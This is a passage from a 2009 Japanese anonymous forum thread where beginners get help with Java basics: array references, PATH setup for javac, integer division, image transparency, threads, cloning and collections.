foo.java.netからfoo.dev.java.netにアクセスできるんだっけ?

108 :デフォルトの名無しさん:2009/04/18(土) 20:04:54
>>106
配列の中身をあんたが自分で書き換えたんじゃないの?

109 :デフォルトの名無しさん:2009/04/18(土) 20:29:16
>>108
引数でメソッドに渡しただけだから元が書き換わるはずがないと思うのです・・・
でも教科書にはこう書かれてるし、実際に動く
ちなみにただのソートです
教科書→ 明解Javaによるアルゴリズムとデータ構造

110 :デフォルトの名無しさん:2009/04/18(土) 20:34:26
>>109
その思い込みの根拠を知りたいな。

自分の知らない現象に遭遇したとして、何故そう動くのかを考えるだろ普通。
なんで、そうならないと思い込めるのか、凄く謎。

111 :デフォルトの名無しさん:2009/04/18(土) 20:38:13
>>110
考えた結果そういう仕様なのかと思ったけど
明確にはよくわからないのでここで質問しているのです

112 :デフォルトの名無しさん:2009/04/18(土) 20:40:57
だから配列の中身をあんたが書き換えたのが原因。
そんなはずがないってのは誰が言ったんだ?w

113 :デフォルトの名無しさん:2009/04/18(土) 20:44:37
>>106の質問は、
public void touchArray(int[] array){
for(int i=0;i<array.length;i++){
array[i]=i;
}
}

みたいなことをやると引数arrayが書き換えられるけど、これはどうして?
と言うことでしょ。

Javaの場合、オブジェクトは参照で渡され、配列はオブジェクトとして扱われるから、というのがその答えだと思う。
そんなに不思議に思うような仕様でもないと思うが。

114 :デフォルトの名無しさん:2009/04/18(土) 20:47:13
>>112
あなたの言ったことがあまりにも信じられいのです
だってどこで書き換えてるのか全くわからないんだものorz

115 :デフォルトの名無しさん:2009/04/18(土) 20:54:54
>>113
オブジェクトは参照で渡されるってことを知らなかったです・・・
ありがとうございました

116 :デフォルトの名無しさん:2009/04/18(土) 21:09:52
配列をメモリブロックで渡せる言語があるなら逆に聞きたいよ

117 :デフォルトの名無しさん:2009/04/18(土) 22:01:00
javaをやり始める者です
今プログラム環境の導入をやってます。

とりあえずjavaをダウンロードしてインストールしました。

次にGameCanvas をダウンロードして解凍したら
Lhaplusの2行目に「×アーカイブのヘッダに異常がありました」ってなって、
解凍されたrelease.batをクリックしたら、

「C:\Documents and Settings\ユーザー名\デスクトップ\FrameWork\game.classが見つかりませんでした」
「'javac'は、内部コマンドまたは外部コマンド、
操作可能なプログラムまたはバッチファイルとして認識されていません」
って何行も出まくるんだけどどうすれば良いんだ・・・

ちゃんとJavaもインストールしてあるし、やり直しても同じ事になる・・・お助けください…

一度実行すると gameApp.jar という実行ファイルができるはずなんですが・・

118 :デフォルトの名無しさん:2009/04/18(土) 22:11:51
Windows再インストールかな

119 :デフォルトの名無しさん:2009/04/18(土) 22:23:40
MIDPスレ開いたのかと思った

120 :デフォルトの名無しさん:2009/04/18(土) 22:26:45
これはエスパーできねえ。

121 :デフォルトの名無しさん:2009/04/18(土) 22:44:53
>>117
>やり直して
「ダウンロードから」やり直しても駄目?

ダウンロードしたファイルが壊れてたって表示されてましたけど、バッチ
ファイルが解凍されてたんで「大丈夫だと信じて」叩いてみました。
に読める。

あと、javacを要求しているところからして、インストールしておいたのは、
JREでは駄目で、JDKでなければならない。
また、インストールしたJDKのbinフォルダを環境変数pathに追加しないと
動かない。

122 :デフォルトの名無しさん:2009/04/18(土) 22:55:24
BufferedImageとImageの違いは何ですか?
全部BufferedImageではだめですか?

123 :デフォルトの名無しさん:2009/04/18(土) 22:56:24
あとバッチファイルがJAVA_HOMEを参照してjavacを起動する類の作りだったら、
環境変数JAVA_HOMEにJDKをインストールしたパスを書いておかないと動かない。
まあ、要するに「javac.exeはどこにある?」に答えてやらんと動かないわけだ。

色々と面倒に思えるだろうけど、これらは前提知識。

124 :デフォルトの名無しさん:2009/04/18(土) 23:02:19
>>122
APIを見てね。Imageは仮想(abstract)クラス。
全部BufferdImage使っていればいいよ。とりあえずは。

125 :デフォルトの名無しさん:2009/04/18(土) 23:03:28
>>124
×仮想
○抽象



126 :デフォルトの名無しさん:2009/04/18(土) 23:03:43
了解

127 :デフォルトの名無しさん:2009/04/18(土) 23:16:17
>>117
JDKのインストールに関して、正しくは以下のドキュメント
http://java.sun.com/javase/ja/6/webnotes/install/jdk/install-windows.html
を参照。

あ、抽象だなorz

128 :デフォルトの名無しさん:2009/04/18(土) 23:18:35
OSにjavacの位置を教えないとあかんよなぁ
たいていは、コントロールパネル→システムの中の、環境設定のところのPATHに
javacの位置を書き加える作業が必要・・・んー自動でも加わったかな

129 :デフォルトの名無しさん:2009/04/18(土) 23:25:38
突然の書き込み失礼します。
N個の[0,1)の乱数をrandom配列に入れ、その配列から一つずつ乱数を取り出し、
区間をM個にわけたうちの何番目にその乱数がいくつ入っているかをカウントする配列をcount配列とします。
下のプログラムでは実行結果が
0.0 20.0 20.0 20.0 20.0 20.0 20.0 20.0 20.0 20.0 となってしまいます。どこかおかしい点あるでしょうか?
初心者なのでくだらないまちがいならすみません。ちなみにエラーはないです。


130 :デフォルトの名無しさん:2009/04/18(土) 23:27:34
public class ransu {
public static void main(String[] args) {
int N = 20;
int M = 10;
int i;
int j;
double d;
double[] random = new double[N];
int[] count = new int[M];
// N個の乱数がはいっている配列を作る
for(i=0;i<N;i++) {d=Math.random( );random[i] = d;}
// 回数をカウントするための長さMの配列を作る
for(i=0;i<M;i++) {count[i] = 0;}
// 配列randomから乱数を順番に抜き出し区間別にわける
for(i=0;i<N;i++){
// 配列randomから乱数を順番に抜き出す
d=random[i];
// 区間別に分ける
for(j=0;j<M;j++){
// もし乱数dがj番目に入っていたら
if((j/M<=d)&&(d<j+1/M)){
// そのj番目のカウントを一つ増やす
count[j]=count[j]+1;
}
else{}
   }}
// count配列を表示する
for(j=0;j<M;j++){d=count[j];System.out.println(d);}
}}

131 :デフォルトの名無しさん:2009/04/18(土) 23:37:42
>>130

なんか、ここが怪しい。

if((j/M<=d)&&(d<j+1/M)){
// そのj番目のカウントを一つ増やす
count[j]=count[j]+1;
}

整数型として処理された場合、意図した動きをしないような気がする

if(((double)j/M<=d)&&(d<(double)(j+1)/M)){
// そのj番目のカウントを一つ増やす
count[j]=count[j]+1;
}

これでどうだろ?

132 :デフォルトの名無しさん:2009/04/18(土) 23:51:09
>>131
ありがとうございます!できました。
本当に助かりました><

133 :デフォルトの名無しさん:2009/04/19(日) 00:18:37
>>116
もっと世界を広げたほうがいいんじゃない?
Cの構造体内にある配列

134 :デフォルトの名無しさん:2009/04/19(日) 00:20:34
>>133

135 :デフォルトの名無しさん:2009/04/19(日) 00:22:01
>>133
普通に思いついたが俺は大人なので言わなかった。

136 :デフォルトの名無しさん:2009/04/19(日) 00:24:03
構造体のメンバの配列ってry

137 :デフォルトの名無しさん:2009/04/19(日) 00:51:36
>>135
やべぇ
ここはジャヴァすれだから禁句だったか!

138 :デフォルトの名無しさん:2009/04/19(日) 00:59:15
そういえばC#でも構造体内の配列は値渡しだからCと同じだったよね?

139 :デフォルトの名無しさん:2009/04/19(日) 01:00:08
構造体内の配列が値渡し?渡してるのは構造体だぞw

140 :デフォルトの名無しさん:2009/04/19(日) 01:06:43
まああまりでかいサイズの構造体はポインタで渡すべきだけどね

141 :デフォルトの名無しさん:2009/04/19(日) 01:07:51
ここjavaスレか
スレ間違えた

142 :デフォルトの名無しさん:2009/04/19(日) 01:14:54
複数言語やってると、こういうところ頭がこんがらがってくるw

143 :デフォルトの名無しさん:2009/04/19(日) 01:35:54
最近double 4x4の(SSE)行列も値渡しだったりするから、
数年後(64bits os)には64k bytesぐらいまでは値渡しでもいいんでないかと思う。
ジャバには関係ないけど。

144 :デフォルトの名無しさん:2009/04/19(日) 01:37:28
float 4x4で64バイト値渡しだった。

145 :デフォルトの名無しさん:2009/04/19(日) 04:11:54
文字列の文字数を数えてくれるアルゴリズム、
文字列の中から特定の文字を見つけてくれるアルゴリズムを教えてください。

146 :デフォルトの名無しさん:2009/04/19(日) 04:26:13
int length = 0;
int count = 0;
for(int i=0; i<text.length(); i++){
  char ch = text.charAt(i);
  if(ch == 'A') count ++;
  length ++;
}
System.out.printf("長さ %d 文字, A は %d 文字", length, count);

147 :デフォルトの名無しさん:2009/04/19(日) 04:31:01
ありがとうございます。

148 :デフォルトの名無しさん:2009/04/19(日) 11:04:07
>>147
釣られてるぞ、おまえ……。(嘘は書いてないけど普通はこんなことしない)
http://java.sun.com/javase/ja/6/docs/ja/api/java/lang/String.html
を上から下までよく読め。

149 :デフォルトの名無しさん:2009/04/19(日) 13:14:16
初心者です。

JDKをどうしても入手出来ません・・・

150 :デフォルトの名無しさん:2009/04/19(日) 13:17:21
パソコンショップのソフト売り場へ買いに行け
定価19800円だ

151 :デフォルトの名無しさん:2009/04/19(日) 13:20:14
>>145
スレ違い
アルゴリズム総合スレ in ム板
ttp://pc12.2ch.net/test/read.cgi/tech/1217773415/

152 :デフォルトの名無しさん:2009/04/19(日) 13:48:19
>>149
http://java.sun.com/javase/downloads/index.jsp

153 :デフォルトの名無しさん:2009/04/19(日) 16:05:16
透明色と重ね合わせのことで
BufferedImage img1= new BufferedImage(400, 400. TYPE_INT_RGB);;
この作ったイメージをfillRectなどでnew Color(0,0,0)で塗りつぶすと透明でない黒になるようですが
全くの透明色で書き込むにはどうすればいいですか?


154 :デフォルトの名無しさん:2009/04/19(日) 16:14:40
質問させていただきます。

Javaはどんなところに使われてますか?
またJava特徴や利点ってなんですか?

155 :デフォルトの名無しさん:2009/04/19(日) 16:16:47
そこはTYPE_INT_ARGBとかColor(0, 0, 0, 0)じゃないの?


156 :デフォルトの名無しさん:2009/04/19(日) 16:25:33
>>154
いろんなところ。

特徴、うーん。ちょっとでも間違ったらコンパイルエラーが出るところかな。
それが信頼性を担保しているのかもしれないが、
慣れた人には窮屈でたまらないと思う。

157 :デフォルトの名無しさん:2009/04/19(日) 16:26:57
おお、それでA透過を指定できるんですか
しかし
Color(0,0,0,0)で白になってしまいました
最期の0が透明の印ではないんですかね?

158 :デフォルトの名無しさん:2009/04/19(日) 16:32:56
最後が透過度で255がMAXか、なるほど

159 :デフォルトの名無しさん:2009/04/19(日) 16:33:25
用法:
Webアプリケーションにおけるサーバサイドプログラム(業務アプリとか)、
JavaAppletなどのWebブラウザへの組み込み(株式のリアルタイム表示とか)、
データベースやCADなどのUI部の実装、携帯端末上でのアプリケーション(iアプリとか)

利点:
プラットフォーム(PC、携帯、WindowsやLinuxのOS)間での移植性が凄い。
Windows上で作成した実行ファイル(jar)がLinuxやSolaris、HP-UXとかでも動く。

160 :デフォルトの名無しさん:2009/04/19(日) 16:39:33
>>156

ありがとうございます。
難しいですね。 参考にさせていただきます。

ありがとうございました。


>>159

おお!まさにそのような解答をもとめておりました!
ありがとうございます!

最大の利点は相互性というところでしょうか?

161 :デフォルトの名無しさん:2009/04/19(日) 16:45:43
ちょっとくらい間違っててもエスパーして動いてほしいよね

162 :デフォルトの名無しさん:2009/04/19(日) 16:48:47
よくある質問にも書いてはありのですが、
「'javac' は、内部コマンドまたは外部コマンド、
 操作可能なプログラムまたはバッチ ファイルとして認識されていません。」
というコメントがでます。path設定を試行錯誤してみたのですが、なかなか治りません。

http://sunjava.seesaa.net/category/3506092-1.html

ここの通りに最新のjavaを設定しているのですが、どこか不備があるのでしょうか・・・?

163 :デフォルトの名無しさん:2009/04/19(日) 17:43:12
>>162
path設定を試行錯誤するレベルならマッサラな状態からやり直した方が良し。
試行錯誤する場合には、全部消して最初からやり直すこと。
その際に手順をキチンとノートに書きとめること。後で再現できるように。


164 :デフォルトの名無しさん:2009/04/19(日) 18:21:20
>>162
・jdkをインストールしたディレクトリはどこ?
・環境変数に追加したセミコロン以降はどのように設定したの?

コマンドプロントで"path"か"set"って入力した結果にpathの項目に
ちゃんと追加したpathが反映されてる?

165 :デフォルトの名無しさん:2009/04/19(日) 19:40:37
>>163
Cのすぐ下にjdkはインストールしました。
セミコロン以下は;C\jdk\binと設定しています。
setを入力したところ、pathの設定の最後に;C\jdk\binと入力されていたので
反映はされていると思います。

166 :デフォルトの名無しさん:2009/04/19(日) 20:00:31
自己解決しました。
;C:\jdk\bin なところが
;C\jdk\bin になってたようです・・・。
お騒がせしました。

167 :デフォルトの名無しさん:2009/04/19(日) 21:06:37
コマンドプロンプトでプログラムをコンパイルはできたのですが、

いざ実行しようとすると

「could not create the java virtual machine」

といったエラーが表示されてしまいます。

これの解決方法ってどうすればいいんでしょうか?

168 :デフォルトの名無しさん:2009/04/19(日) 21:22:11
could not create the java virtual machine
の前に、原因を示すメッセージが出てはいないか?

169 :デフォルトの名無しさん:2009/04/19(日) 21:24:27
バージョン違いのJDKとJREが混在してるとか?
一回アンインストしてJDKだけ入れ直してみてはどうか

170 :デフォルトの名無しさん:2009/04/19(日) 21:24:50
168>>出てないです。

D:\フォルダ名>Java Hello
could not create the java virtual machine

ってな感じなので・・・

171 :デフォルトの名無しさん:2009/04/19(日) 21:25:50
>>169一度やってみます。

172 :デフォルトの名無しさん:2009/04/19(日) 21:29:11
JREが新しかったら問題ないはず。
JDKを入れなおすより、JREを最新にしてみるのがいいと思うんだが・・・もう遅いか。

173 :デフォルトの名無しさん:2009/04/19(日) 21:39:36
ダメでした・・・。

JREもJDKも最新はJRE 6 Update 13とJDK 6 Update 13で間違いないですよね?

どうしてなんでしょうか

174 :デフォルトの名無しさん:2009/04/19(日) 21:42:09
スレッドに引数を渡したい時はどうやればいいのでしょうか?
あとスレッドから戻り値が欲しい時はどうやればいいのでしょうか?

175 :デフォルトの名無しさん:2009/04/19(日) 21:45:32
一応、CLASSPATHが定義されているか見てみるのはどうか?
> ECHO %CLASSPATH%
で何も表示されないか、. が入っていればOK。
ちなみに、俺の設定だと
.;C:\Program Files\Java\jre6\lib\ext\QTJava.zip

QTJava.zip は QuickTime のクラスで、iPod を使うと入るらしい。
そして、たまに .; が頭に入らないで設定されていたりするらしい。(バグ)
.その場合は ; を頭に追加。

176 :デフォルトの名無しさん:2009/04/19(日) 21:50:34
>>174
extends Thread か implements Runnable しているだろうから、インスタンス変数
として受け渡しすればOK。
synchronized で同期させるのを忘れると悲しい出来事が起こることがあるので
注意な。

177 :デフォルトの名無しさん:2009/04/19(日) 21:53:21
【 課題 】http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/640.zip
【 形態 】1. Javaアプリケーション(main()で開始)
【 GUI  】制限なし
【 期限 】4月21日
【 Ver  】1.6.0_11
【 補足 】途中までやったのですが、classの使い方が理解できていないせいでエラーが出まして・・・
エラーの出た部分を問題文とは別にmywork.txtという名前でzipに添付しましたので、
何らかのヒントをいただけると幸いです

178 :デフォルトの名無しさん:2009/04/19(日) 21:53:46
>>175
.;C:\Program Files\QuickTime\QTSystem\QTJava.zip

と出ました。一応大丈夫・・・なんでしょうか?

179 :デフォルトの名無しさん:2009/04/19(日) 21:55:48
>>174
スレッド関連はjava.util.concurrentパッケージを利用して
値を戻す場合はFutureを使うと楽

180 :177:2009/04/19(日) 21:56:45
すみません、>>177は宿題スレに書き込もうとしたものの誤爆です

181 :デフォルトの名無しさん:2009/04/19(日) 22:03:16
>>176
回答ありがとうございます
確かにそうしたら、引数とか戻り値とか関係なさそうですね・・・
>>179
回答ありがとうございます
そのメソッドについて調べてみます

182 :デフォルトの名無しさん:2009/04/19(日) 22:09:27
>>179
おおお、知らなかったぁ。これは便利。どれだけ古いんだ自分。

でも、初学者だと原理をすっとばしてしまうと分かりづらくないか?
と思うこと自体が歳くった証拠かも。

183 :デフォルトの名無しさん:2009/04/19(日) 22:22:02
>>182
まあconcurrentパッケージはマルチスレッドプログラミングの面倒くさいけれど定式化できる部分をまとめたものなので
指摘の通り初学者は最初は利用せずにやってみてマルチスレッド関連の諸問題を体感した方が教育的見地からはいいのかもしれない
というか基礎は結局勉強していないとconcurrentパッケージの使い方自体が分からないかも

184 :デフォルトの名無しさん:2009/04/19(日) 22:22:05
>>178
大丈夫そうだねぇ・・・

ダウンロードページ http://java.sun.com/javase/downloads/index.jsp
からJRE 6 Update 13をダウンロードしてきて入れてみても駄目なのかな?

185 :デフォルトの名無しさん:2009/04/19(日) 22:30:54
そうだ
>java -version
の結果はどうなってる?

186 :デフォルトの名無しさん:2009/04/19(日) 22:41:25
>>183
そうはいってもconcurrentはあまり使われてないんでは?
残念なことですが、Threadはあまり話題にならないし。

187 :デフォルトの名無しさん:2009/04/19(日) 22:47:04
Threadは枯れた基本知識だし、concurrentは知っていると便利なユーティリティだし、
話題にはならんでしょうね。

188 :デフォルトの名無しさん:2009/04/19(日) 22:47:26
>>186
うん
全てを解決する銀の弾丸じゃないし使わなくて済むのなら使う必要はない
知っているとスレッド関連で面倒なコードを自分で書く必要が減る可能性があるという程度

189 :デフォルトの名無しさん:2009/04/19(日) 22:52:58
concurrentと面倒なコード量の増加(Runnable,Future)を考えるとクロージャはほしかったな。

190 :デフォルトの名無しさん:2009/04/19(日) 22:55:41
concurrent なんてフレームワークや共通系の設計やってる一部の人間が押さえてりゃ良い。
業務開発が concurrent 使いまくってるようなプロジェクトなんか入りたくねぇ。

191 :デフォルトの名無しさん:2009/04/19(日) 22:58:31
浅煎りコーヒーのサイト↓を久々に見ようとしたら消滅していませた。
http://www.nextindex.net/java/index.html

移転先もしくはミラーをご存知のかたはいらっしゃいますでしょうか。
お教え乞います。

192 :デフォルトの名無しさん:2009/04/19(日) 23:12:02
網羅的に抑えてあってけど、もう役割を終えたのかな・・
こういう(作者のやる気がなくなった)個人のサイトこそオープンプロジェクト(WIKI)に寄贈して発展させればいいと思うけどね。

193 :デフォルトの名無しさん:2009/04/19(日) 23:12:21
In one of the countless billions of servers in the WWW,
lies a medium-sized web site, and all of its contents,
a javaty and insignificant site, is now dead...

194 :デフォルトの名無しさん:2009/04/19(日) 23:15:15
>>193
なんだ?同じようなことかいてるけど、それにしても読みにくい英文だな・・・

195 :デフォルトの名無しさん:2009/04/20(月) 01:41:36
そのサイト、xreaに移る前はfc2の無料鯖でやってたから、まだそっちは残ってるかもね

196 :デフォルトの名無しさん:2009/04/20(月) 02:06:10
JavaでIEを起動して、YahooのHPを開くためのってこれでいいですか?
IEは起動するんですが、白い画面が出ます。

import java.io.IOException;
public class IeStart {
public static void main(String[] args) {
try {

String url = "http://www.yahoo.co.jp";
String browser = "C:\\Program Files\\Internet Explorer\\IEXPLORE.EXE";
Runtime rt = Runtime.getRuntime();

rt.exec(new String[] {browser,url});
} catch (IOException ex) {
ex.printStackTrace();
}
}
}

197 :デフォルトの名無しさん:2009/04/20(月) 02:11:24
Desktop desktop = Desktop.getDesktop();
desktop.browse(new URI(url));

http://java.sun.com/javase/ja/6/docs/ja/api/java/awt/Desktop.html

198 :デフォルトの名無しさん:2009/04/20(月) 02:17:46
そんな簡単なのがあったのですね。
ありがとうございました

199 :デフォルトの名無しさん:2009/04/20(月) 04:56:47
>>56
JAXBをつかって
DatatypeConverter.parseInt("+1")

200 :デフォルトの名無しさん:2009/04/20(月) 06:30:44
javax.scriptを使えば変数込みのevalが出来て便利だが、
javascriptが必ず入っている訳じゃないのは痛いかな。
たしかGroovyが標準化されるんだっけ?この手のユーティリティ作りには貢献してくれるかも。

201 :デフォルトの名無しさん:2009/04/20(月) 06:34:57
Document dummy = DocumentBuilderFactory.newInstance().newDocumentBuilder().newDocument();
Number value = (Number)XPathFactory.newInstance().newXPath().evaluate("1+1", dummy, XPathConstants.NUMBER);

四則演算程度ならプラットフォーム非依存で追加ライブラリも必要ない XPath が良い。
Java 側から変数も渡せるし。

202 :デフォルトの名無しさん:2009/04/20(月) 06:40:51
その場合の変数ってDOM側に詰め込むの?

203 :デフォルトの名無しさん:2009/04/20(月) 06:52:34
XPathFunctionResolver を実装すれば普通の XPath 変数と同じように $foo で使えるし
XPathFunctionResolver を実装すれば関数を用意することも出来る。DOM は完全にダミーで良い。
ちょっとした判定ロジックを外部定義しておきたい時に XPath は便利。

204 :デフォルトの名無しさん:2009/04/20(月) 06:56:38
何が標準化されようともその実装でスクリプトエンジンが用意されなきゃ使えない。
どうしてもスクリプト使いたいならJSR-223のページからScripting APIの実装とエンジンのライブラリを自分で用意すればいい。

205 :デフォルトの名無しさん:2009/04/20(月) 16:02:23
cloneメソッドを使用して配列をコピーしたら
コピー元を変更したらコピー先も変更されるとされているけど、
char[] char1 = {'A', 'B'}で配列作ってcloneメソッドでコピーして、
コピー元を変更してもコピー先は変更されてないんだけど、
charの配列はオブジェクトじゃないから大丈夫なんですか?

206 :デフォルトの名無しさん:2009/04/20(月) 16:20:10
> cloneメソッドを使用して配列をコピーしたら
> コピー元を変更したらコピー先も変更される
これが偽

207 :デフォルトの名無しさん:2009/04/20(月) 17:31:02
public class Qtarou {
public static void main(String[] args) {
StringBuffer[] hairetu = new StringBuffer[2];
hairetu[0] = new StringBuffer("aaaaaa");
hairetu[1] = new StringBuffer("cccccc");
StringBuffer[] hairetu99 = new StringBuffer[2];
hairetu99 = (StringBuffer[])hairetu.clone();
//hairetu99[0] = hairetu99[0].replace(0, 6, "zzzzzz");//ココ1
hairetu99[0] = hairetu[1];//ココ2
System.out.println("hairetu[0] "+ hairetu[0]);
System.out.println("hairetu99[0] "+ hairetu99[0]);
}}
ココ1とココ2を切り替えると結果が変わるのはどうしてでしょうか。
ココ1ではコピー元も変わってしまい
ココ2ではコピー元は変わらないんですけど。

208 :デフォルトの名無しさん:2009/04/20(月) 17:49:44
>>207
基本: 配列に対するクローンは、配列の要素をクローンしない。
http://javafaq.jp/S006.html#S006-09

で、ココ1の場合はhairetu99[0].replace()した段階でhairetu99[0]が指
すオブジェクト(==hairetu[0]に入っているオブジェクト)の内容が書き
変わる。replace()だけで書き変わるので、ココ1の代入文にはまったく
意味がない。

ココ2の場合は、双方の配列から指されているオブジェクトを書き換えて
いるわけじゃない。配列内から指す先を繋ぎ変えているだけ。


209 :デフォルトの名無しさん:2009/04/20(月) 18:14:35
コピー可能な情報ってのは、intやdoubleなどのプリミティブな変数と、オブジェクトの"参照"だけ
clone一発じゃ、オブジェクトの"実態"まではコピーできないよ。deep-copy,shallow-copyで調べてみよう。

210 :デフォルトの名無しさん:2009/04/20(月) 18:36:14
>>208
>>209
よくわかりました。有用なサイトも教えて貰い、
合わせてありがとうございました。

211 :デフォルトの名無しさん:2009/04/20(月) 18:38:32
はじめまして。
マルチスレッドについての質問なのですが
クライアント1がサーバーから出される質問に答えている間
クライアント2はクライアント1が受け取った質問とクライアント1が答えた結果を
受け取るのみにするにはどのような条件を作れば良いのでしょうか?

スレッドはwait()になっててもサーバーから情報はクライアントにパスできるかどうかわからなくて
困っています。

212 :デフォルトの名無しさん:2009/04/20(月) 18:44:52
早押しクイズゲームでも作ってるの?

とりあえず某かのオブジェクトをロックすれば実現できることなんだけど、
一点、「クライアント2はクライアント1が受け取った質問とクライアント1が答えた結果を」とあるけど、
このフローがどういうものか自分で書ける?クライアント1はこの時、まだ回答中だと思うんだけど。

213 :211:2009/04/20(月) 18:51:28
そこでつまづいているんです。
クライアント2はリアルタイムでクライアント1が受け取った質問を受け取り
クライアント1が質問に答えての結果を1に送るときに2にも送らないといけないのですが。。

214 :211:2009/04/20(月) 18:53:59
すみません、クライアント1が答えてサーバーが結果を送るときにの間違いでした。

早押しクイズゲームではないんですが
クイズゲームで、途中で入ってきたプレイヤーは質問と結果を受け取りながら次のゲームまで待つというものでして。

215 :デフォルトの名無しさん:2009/04/20(月) 19:09:44
このアプリのメインフローはだいたい以下の5つくらいに分割できる。
問題の取得、回答権の取得、回答待ち、回答とその正否判断、回答と正解の配布。

これの実現には、例えばReentrantLock#tryLockあたりを使ってみよう。
これでtrueの状態を取れたら、回答権付きの回答待ち処理へ、
falseが帰ってきたら、ただの回答待ち処理へ移行する。

注意が必要なのはクライアント2は被ブロック処理であるべきということ。
そうでないのであれば、クライアント2はクライアント1が回答したかをサーバへ問い合わ続けることになる。
パフォーマンスに拘らないのであれば毎度問い合わせた方が簡単でいいけどね。

216 :デフォルトの名無しさん:2009/04/20(月) 19:11:07
非ブロック処理ね。被ブロックならブロックさせちゃうことになるw

217 :211:2009/04/20(月) 19:26:55
ありがとうございます。さっそく参考にして書いてみようと思います。

それと、どなたかこのようなゲームのソースを持っておられたら見せてもらえませんか?
リンクでも構いません。
ネット以外に参考にできるものがない状態でやってるもので。。
よろしくお願いします。

218 :デフォルトの名無しさん:2009/04/20(月) 19:33:01
俺はこれといったサンプルは知らないが、
サーブレットで作りたいのか、ソケットで作りたいのかは提示した方が良い。
データベースの有る無しでも作り方は変わってくるしね。

219 :211:2009/04/20(月) 19:39:21
すみません、ありがとうございます。
僕はソケットで作っているのでソケットでお願いします。
データベースはないですね。
テキストファイルから問題と答えをvectorかarraylistか何かに入れて使っていますので。

220 :デフォルトの名無しさん:2009/04/20(月) 20:31:55
ここはおまえの勉強部屋じぇねーぞ

221 :デフォルトの名無しさん:2009/04/20(月) 20:35:56
変な煽り入れてんじゃねーよ。気に入らなければ答えなきゃいいだけだ。

222 :デフォルトの名無しさん:2009/04/20(月) 20:42:07
>>210
cloneはシャローコピー

223 :デフォルトの名無しさん:2009/04/20(月) 21:26:57
後ろ側へ透かしたいので
new Color(0,0,0,255) で描画するとただの黒に
new Color(0,0,0,0) なら何も描画されないになってしまいます
元の色をけして透明色を書き込むにはどうすればいいですか?

224 :デフォルトの名無しさん:2009/04/20(月) 22:19:22
>>223
アルファ値を0にしているので、それで書いた場合は下の絵が全て見えます。
つまり、すでに透明色です。

225 :デフォルトの名無しさん:2009/04/20(月) 22:35:52
2面の重ね合わせで、実際fillRectで書き込んだのですが透けませんでした。
gr.setColor(new Color(0,0,0,0));
gr.fillRect(0,0,99,99);
特殊な書き方があるのでしょうか?

おそらく(0,0,0,0)というデータを書き込むではなく
(0,0,0という色を,0)という透明割合で書き込む、つまり0なので何も書き込まないに
なってしまったのではないか、と考えたのですが。

226 :デフォルトの名無しさん:2009/04/20(月) 22:43:25
元が透明を含んでる透過png画像の読み込みで書き込まれたものならしっかり透けて合成できるのですが。


227 :デフォルトの名無しさん:2009/04/20(月) 22:49:29
透明色、という言い方が実は問題。透過色と言うべきだね。
ビットマップで下が見えて欲しい部分を透過色で描いておいて、それを普通に
描いておいた下絵の上に貼り付けるといった使い方をすればいい。
アニメとかで背景の上に、セルに描いた物を乗せるのと同じ。

アルファ値を適当な値にすると、アニメで言うスーパーになる。
半透明で透けて見える絵ね。

228 :デフォルトの名無しさん:2009/04/20(月) 22:58:51
アルファブレンドがJavaで実際にできるか確認しないで書いてた。
試してくる。

229 :デフォルトの名無しさん:2009/04/20(月) 23:01:11
例えば元が(64,0,0,128)のとこに
カラー(128,0,0,32)で書き込むと
そこのアルファ値はいくつになりますか?
32ですか?

あとアルファ値だけ書き換えることはできますか?

230 :デフォルトの名無しさん:2009/04/20(月) 23:04:16
ArrayList arry = new ArrayList();
ArrayList arry1 = new ArrayList();
ArrayList arry2 = new ArrayList();
ArrayList arry3 = new ArrayList();
arry1.add("野球");
arry2.add("バスケ");
arry3.add("ラグビー");
TreeMap tree = new TreeMap();
tree.put("1田中",arry1);
tree.put("2佐藤",arry2);
tree.put("3鈴木",arry3);
ListIterator it = tree.keySet().listIterator();
while(it.hasNext())
String key = (String)it.next();
arry = (ArrayList)tree.get(key);
System.out.println(key);
for(int i = 0; i<arry.size(); i++)
System.out.println(" " + arry.get(i));
while(it.hasPrevious())
String key = (String)it.previous();
arry = (ArrayList)tree.get(key);
System.out.println(key);
for(int i = 0; i<arry.size(); i++)
System.out.println(" " + arry.get(i));
長くて申し訳ありません、実行結果を逆方向(降順)に表示させたいのですが上手くいきません。
初心者で申し訳ないのですが間違っている点あればご指摘お願いします。

231 :230:2009/04/20(月) 23:06:30
すいません、書き込みの改行の制限の都合でブロックとImport省いてあります。見にくくて申し訳ないです。

232 :デフォルトの名無しさん:2009/04/20(月) 23:27:29
スレ違いだったらごめんなさい。
Javaのscript(ようつべなどを見たりするやつです。)をオンにしたいんですが
どうやってするんですか?


233 :デフォルトの名無しさん:2009/04/20(月) 23:31:11
>JavaScript, Ajaxの質問は、ここでは受け付けていません
って書いてあるし、そもそも板違い

234 :デフォルトの名無しさん:2009/04/21(火) 00:16:32
>>225
やっぱ不安に思ったのは正しかった。Graphics.setColor(c); ではアルファ値は書き込めない。
BufferdImage.setRGB(...) で書き込まないと適用されないらしい。こんな感じ。

import java.awt.*;
import java.awt.image.*;
import javax.swing.JFrame;
public class Main extends JFrame {
BufferedImage fwd = new BufferedImage(300, 200, BufferedImage.TYPE_4BYTE_ABGR);
BufferedImage bck = new BufferedImage(300, 200, BufferedImage.TYPE_4BYTE_ABGR);
public Main() {
Graphics gr;
gr = bck.getGraphics();
gr.setColor(new Color(255,0,0));
gr.fillOval(0, 0, 300, 200);
gr = fwd.getGraphics();
gr.setColor(new Color(0, 255, 0));
gr.fillOval(0, 0, 200, 150);
gr.setPaintMode();
Color c = new Color(255, 0, 0);
gr.setColor(c);
gr.fillOval(20, 20, 150, 100);
for (int x=0; x<fwd.getWidth(); x++) {
for (int y=0; y<fwd.getHeight(); y++) {
if (fwd.getRGB(x, y)==c.getRGB()) fwd.setRGB(x, y, 0);
}
}
}


235 :デフォルトの名無しさん:2009/04/21(火) 00:16:39
public static void main(String[] args) {
Main main = new Main();
main.setBounds(100, 100, 500, 300);
main.setVisible(true);
}
public void paint(Graphics g) {
g.drawImage(bck, 50, 50, new ob());
g.drawImage(fwd, 40, 40, new ob());
}
static class ob implements ImageObserver {
public boolean imageUpdate(Image img, int infoflags, int x, int y, int width, int height) {
return false;
}
}
}


236 :デフォルトの名無しさん:2009/04/21(火) 00:19:53
JListはsetVisibleRowCountで縦の長さを指定できますが、
横幅を指定するのはどうやるのでしょうか?
DefaultListModelで3文字ぐらいをaddしても横幅は8文字分とかにしたいです。

237 :デフォルトの名無しさん:2009/04/21(火) 00:24:50
ポイントは二点。

